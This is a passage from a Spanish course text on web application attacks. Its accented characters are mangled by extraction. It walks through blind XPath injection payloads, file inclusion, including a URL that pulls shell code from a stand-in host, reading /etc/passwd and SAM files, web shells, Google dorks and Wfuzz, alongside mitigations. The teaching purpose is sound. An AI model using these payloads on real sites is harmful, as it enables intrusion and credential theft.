4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
